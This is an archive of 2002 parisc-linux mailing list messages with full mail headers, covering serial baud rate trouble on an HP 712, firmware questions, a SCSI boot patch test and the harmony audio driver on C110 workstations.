> on the serial(rs232) to 57600(8n1) didnt work...
> using 9600baud works ok
>

Where did you set the baud rate?
In minicom _and_ the console (Boot admin)?

It's up to both ends to support automatic baud rate selection
via a terminal protocol. I don't think the console on the
712 will do that (I'm sure VT-MODEM can...).

c.



From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joachim Steiger <roh@hyte.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial on hp712/80 buggy?
Date: Thu, 20 Jun 2002 23:39:57 +0200 (CEST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206202330240.5438-100000@reactor.hyte.de>
References: <20020620174820.GE4111@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621420 9215 80.91.229.3 (22 Nov 2014 01:57:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 15:41:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from reactor.hyte.de (reactor.hyte.de [212.84.215.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9A81486C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Jun 2002 15:41:21 -0600 (MDT)
Original-Received: from roh (helo=localhost)
	by reactor.hyte.de with local-esmtp (Exim 3.15 #8)
	id 17L9en-0001QE-00; Thu, 20 Jun 2002 23:39:57 +0200
In-Reply-To: <20020620174820.GE4111@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15174

On Thu, 20 Jun 2002, Carlos O'Donell wrote:
> Where did you set the baud rate?
> In minicom _and_ the console (Boot admin)?
i used the hppa just as 'console' to access an embedded-ppc
i reconnected the same cable to my pc and started minicom there
and it worked
on 9600baud i can use minicom on the hppa as on the pc

i also know there seems to be some kind of 'bug' that on most computers i
have to close and reopen the serial-device to get the baudrate change
through
in case of minicom it means to set the baudrate, save it as default , then
quit and restart minicom

> It's up to both ends to support automatic baud rate selection
> via a terminal protocol. I don't think the console on the
> 712 will do that (I'm sure VT-MODEM can...).
if setting it manually don't work, how should a automatic work??

there is no terminal protocol, its just that accessing the ootloader on
the ppc happens via 9k6 and 'flashing' it happens with 57600

i'm fairly shure that it MUST be an hppa soft/hardwareproblem since i
switched the cables and they are working correctly on other machines as on
9k6 on the hppa

regards

roh

ps: i will try to find out which is the setting my serial-port is is when
it should be 57600 by just feeding it with different baudrates and watch
when its displayed correctly soon




From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unsolicited commercial email ;-) (for sale, rp2430 pa-8700 system)
Date: Thu, 20 Jun 2002 22:10:52 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020621041052.817F04870@dsl2.external.hp.com>
References: <002201c217f0$35aaa180$0117160a@simplex>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621420 9218 80.91.229.3 (22 Nov 2014 01:57:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Duraid Madina" <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 22:10:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 817F04870; Thu, 20 Jun 2002 22:10:52 -0600 (MDT)
In-Reply-To: Message from "Duraid Madina" <duraid@fl.net.au> 
   of "Thu, 20 Jun 2002 10:19:57 +1000." <002201c217f0$35aaa180$0117160a@simplex> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15175

"Duraid Madina" wrote:
> 	Want a PA-8700 system? Have a look here: 
> 
> http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2033379229

Nice. As a non-ebay user, can someone forward my correction this fellow's
description of the rp2430?
It does have 4 PCI Host bus adapters with about ~2GB backplane bandwidth.
But 2 of the PCI slots share one of the PCI Host bus adapters.

grant



From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Thu, 20 Jun 2002 22:13:42 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20020621041342.956984877@dsl2.external.hp.com>
References: <adn_159_0_@dionis.kfti.knc.ru> <Pine.LNX.4.21.0206182235280.13201-100000@utelscin.scintilla>  <adn_8246_0_@dionis.kfti.knc.ru>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621420 9220 80.91.229.3 (22 Nov 2014 01:57:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:00 +0000 (UTC)
Cc: Tim ter Laak <timl@scintilla.utwente.nl>,
	parisc-linux@lists.parisc-linux.org
To: Masliy Alex <masliy@kfti.knc.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 20 22:13:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 956984877; Thu, 20 Jun 2002 22:13:42 -0600 (MDT)
In-Reply-To: Message from Masliy Alex <masliy@kfti.knc.ru> 
   of "Thu, 20 Jun 2002 12:55:06 +0400." <adn_8246_0_@dionis.kfti.knc.ru> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15176

Masliy Alex wrote:
> TTL> I know there's a firmware update for the faster 715's (66MHz and
> TTL> up). Could this be a firmware bug? 
>        May be,  but how can I find out that thing?

Read the "patch" description for the latest firmware version.
It should have a changelog in it.

grant



From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Your patch: root=/dev/scsi/sdcXbXtXuXpX support
Date: Fri, 21 Jun 2002 15:52:23 +0200 (CEST)
Lines: 45
Approved: news@gmane.org
Message-ID: <1024667543.3d132f97f3389@webmail.tiscalinet.be>
References: <1024577420.3d11cf8c699d6@webmail.tiscalinet.be> <20020620142736.GA28800@gum01m.etpnet.phys.tue.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621421 9223 80.91.229.3 (22 Nov 2014 01:57:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:01 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Kurt Garloff <garloff@suse.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 07:53:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 134594872
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 07:53:01 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17LOps-0007n3-00; Fri, 21 Jun 2002 15:52:24 +0200
In-Reply-To: <20020620142736.GA28800@gum01m.etpnet.phys.tue.nl>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15177

Kurt,

Congratulation and thanks a lot; this patch works fine on my hppa parisc-linux
against a kernel of mine 2.4.19-pre10(-pa37). Very great :))

Joel

PS: I just notice a small detail. In your script you use the variable SDIRMODE
(line 115) but it is not set elsewhere so the mkdir /dev/scsi failled (not
enough argument). (i export SDIRMODE=0755 ?)

Quoting Kurt Garloff <garloff@suse.de>:

> Hi Jol,
> 
> On Thu, Jun 20, 2002 at 02:50:20PM +0200, joel.soete@freebel.net wrote:
> > Hi Kurt,
> > 
> > On lwn.net I found your patch specially interesting because I
> encounter the
> > problem it solves last friday on my parisc-linux box.
> > 
> > I would to test your patch on my parisc-linux box but dono how to find
> back the
> > original patch. Could you send me in answer?
> 
> OK, here we go.
> You need the scsi-map patch as prerequisite for the scsi-map-boot.
> 
> Regards,
> -- 
> Kurt Garloff                   <kurt@garloff.de>         [Eindhoven,
> NL]
> Physics: Plasma simulations    <K.Garloff@TUE.NL>     [TU Eindhoven,
> NL]
> Linux: SCSI, Security          <garloff@suse.de>    [SuSE Nuernberg,
> DE]
>  (See mail header or public key servers for PGP2 and GPG public keys.)
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Audette" <Mike.Audette@synopsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.3 Audio on C110
Date: Fri, 21 Jun 2002 09:59:06 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <HMEKIKEAKEFFMJJOEAJNIELOFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621421 9227 80.91.229.3 (22 Nov 2014 01:57:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 07:59:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kiruna.synopsys.com (kiruna.synopsys.com [204.176.20.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55BDC487D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 07:59:12 -0600 (MDT)
Original-Received: from mother.synopsys.com (mother.synopsys.com [146.225.100.171])
	by kiruna.synopsys.com (Postfix) with ESMTP id 22745F644
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 06:59:11 -0700 (PDT)
Original-Received: from boston.synopsys.com (localhost [127.0.0.1])
	by mother.synopsys.com (8.9.1/8.9.1) with ESMTP id GAA25112
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 06:58:27 -0700 (PDT)
Original-Received: from maudettec800 (dhcp-146-225-129-157.synopsys.com [146.225.129.157])
	by boston.synopsys.com (8.9.1/8.9.1) with SMTP id JAA27706
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 09:59:09 -0400 (EDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15178

Hello,

First off I would like to give Kudos to everyone who worked on this project.
I cant believe the C110 is actually doing something useful again (and I
don't have to deal with HP's version of POSIX).  I cant believe that
everything including X and gnome, KDE etc are all working rather flawlessly!

I do have one problem still.  I am at a loss for the Audio.  It would appear
by looking back in the threads that the audio is working on this model
9000/C110.  But I don't know how to go about getting it working.  Do I need
to rebuild the kernel?  Is there a module that can be loaded for it?  Or are
my /dev screwed up for audio/dsp?

				-Thanks!
				  Mike




From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 Audio on C110
Date: Fri, 21 Jun 2002 15:39:55 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20020621143955.GB1385@tykepenguin.com>
References: <HMEKIKEAKEFFMJJOEAJNIELOFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621422 9247 80.91.229.3 (22 Nov 2014 01:57:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 08:39:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C22D487C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 08:39:57 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17LPZr-0000rW-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 15:39:55 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <HMEKIKEAKEFFMJJOEAJNIELOFIAA.maudette@synopsys.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15179

On Fri, Jun 21, 2002 at 09:59:06AM -0400, Michael Audette wrote:
> Hello,
> 
> First off I would like to give Kudos to everyone who worked on this project.
> I cant believe the C110 is actually doing something useful again (and I
> don't have to deal with HP's version of POSIX).  I cant believe that
> everything including X and gnome, KDE etc are all working rather flawlessly!
> 
> I do have one problem still.  I am at a loss for the Audio.  It would appear
> by looking back in the threads that the audio is working on this model
> 9000/C110.  But I don't know how to go about getting it working.  Do I need
> to rebuild the kernel?  Is there a module that can be loaded for it?  Or are
> my /dev screwed up for audio/dsp?

Works fine for me: only playback though - no recording :(

monk:~# ls -l /dev/dsp
crw-rw----    1 root     audio     14,   3 Nov 15  2001 /dev/dsp

The driver is called "harmony" - I have mine hard compiled into the kernel.

patrick




From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 Audio on C110
Date: Fri, 21 Jun 2002 16:56:04 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3D133E84.9060100@esiee.fr>
References: <HMEKIKEAKEFFMJJOEAJNIELOFIAA.maudette@synopsys.com> <20020621143955.GB1385@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621422 9260 80.91.229.3 (22 Nov 2014 01:57:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:02 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 08:56:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6758E4884
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 08:56:11 -0600 (MDT)
Original-Received: from esiee.fr (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with ESMTP id 8391949C81
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 16:56:04 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020412 Debian/0.9.9-6
X-Accept-Language: fr-fr, fr
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15180

Patrick Caulfield wrote:

>[...]
>Works fine for me: only playback though - no recording :(
>
>monk:~# ls -l /dev/dsp
>crw-rw----    1 root     audio     14,   3 Nov 15  2001 /dev/dsp
>
>The driver is called "harmony" - I have mine hard compiled into the kernel.
>
>patrick
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
Does anybody knows if it is specific to C110/C100 (Raven) or is it the 
case for others?
Personnaly, I have recording support on my B132 and 712.

Matthieu Delahaye




From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ted Love <ted@tedlove.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] my find... (and a plea for advice)
Date: Fri, 21 Jun 2002 11:13:45 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <1024672425.3d1342a9668b1@mail.tedlove.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621422 9263 80.91.229.3 (22 Nov 2014 01:57:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 09:13:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cosmos.serviceweb.net (cosmos.serviceweb.net [209.94.121.24])
	by dsl2.external.hp.com (Postfix) with SMTP id A5E564888
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Jun 2002 09:13:47 -0600 (MDT)
Original-Received: (qmail 24262 invoked by uid 99); 21 Jun 2002 15:13:45 -0000
Original-Received: from 24.58.247.66 ( [24.58.247.66])
	as user tlove@mail.home.tedlove.net by mail.tedlove.net with HTTP;
	Fri, 21 Jun 2002 11:13:45 -0400
User-Agent: Internet Messaging Program (IMP) 3.0
X-Originating-IP: 24.58.247.66
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15181

The other day, I stumbled on to an HP 745 machine.  Figuring I could 
do "something" with it, and having the urge to dive into playing with a RISC 
box(and another linux machine), I stumbled on to your community here.
The box itself is the prod # A2638B (if that means anything to anyone)
I found the pdf manual for the 700i series on hp.com, and deduced that it is 
the 745.  Here's the sticky part:
1. I conected the vga connector to several different monitors and booted the 
machine - no display.
2. I tried running a serial cable to it and hyperterm-ing in to it to at least 
see if I get a login... nothing.
The lights blink as its booting, and it appears to complete an entire boot 
process, then idle with the OS light on.  I believe it still has the original 
HP-UX on it.
3. I don't have a HP-HIL keyboard, nor an AUI adapter to put it on my RJ45 
switch.  
4. There is no floppy or CD-ROM drive in this machine, and I do not have a 
SCSI CD drive.

I have scoured the lists looking for info on how I might crack into this 
thing.  I dont mind picking up the AUI adapter, but I want to make sure I can 
get into the machine (and if it works).  Any advice regarding getting the 
display to work, or any leads on an HIL keyboard would be much appreciated.

Thanks!

-- 
Ted Love







From - Thu Nov 08 21:23:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 Audio on C110
Date: Fri, 21 Jun 2002 09:28:27 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020621152827.D50D94883@dsl2.external.hp.com>
References: <HMEKIKEAKEFFMJJOEAJNIELOFIAA.maudette@synopsys.com> <20020621143955.GB1385@tykepenguin.com>  <3D133E84.9060100@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621422 9264 80.91.229.3 (22 Nov 2014 01:57:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:02 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 09:28:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D50D94883; Fri, 21 Jun 2002 09:28:27 -0600 (MDT)
In-Reply-To: Message from Matthieu Delahaye <delahaym@esiee.fr> 
   of "Fri, 21 Jun 2002 16:56:04 +0200." <3D133E84.9060100@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15182

Matthieu Delahaye wrote:
> Does anybody knows if it is specific to C110/C100 (Raven) or is it the 
> case for others?
> Personnaly, I have recording support on my B132 and 712.

"harmony" is integrated into the LASI chip.
AFAICT, all the workstations vintage 712 to C360 have LASI.

	http://hwdb.parisc-linux.org/view.php3?type=driver&name=Harmony

grant



